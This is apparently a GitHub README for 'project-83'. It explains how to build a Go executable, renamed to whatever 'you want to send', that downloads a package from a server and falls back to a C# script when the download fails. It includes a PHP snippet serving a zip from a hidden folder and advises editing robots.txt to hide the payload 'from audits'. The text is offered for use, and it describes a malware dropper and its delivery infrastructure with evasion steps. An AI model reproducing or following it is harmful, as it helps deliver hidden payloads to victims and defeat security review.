CPScript / project-83

Still being made
0 stars 0 forks source link

To compile "compiler": go build -o compiler.exe compiler.go (replace compiler.exe with the name of the executable you want to send)

When you execute "compiler.exe", it will attempt to download the specified package. If it fails, it will compile and execute a C# script to try downloading the package again, making the C# script act like a failsafe.


Host a simple http server using codespace so the go script can install the package without it hurting your wallet to host via cloud

you could also implement a server side script that handles the download process. This way, users can download the file without directly accessing the URL of the .zip file.

<?php
$file = 'path/to/hidden-folder/package.zip';
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
?>

add the code in the doc/web/robot.txt to your page's robot.txt script to hide it from audits, once hidden you can still install the package using the compiler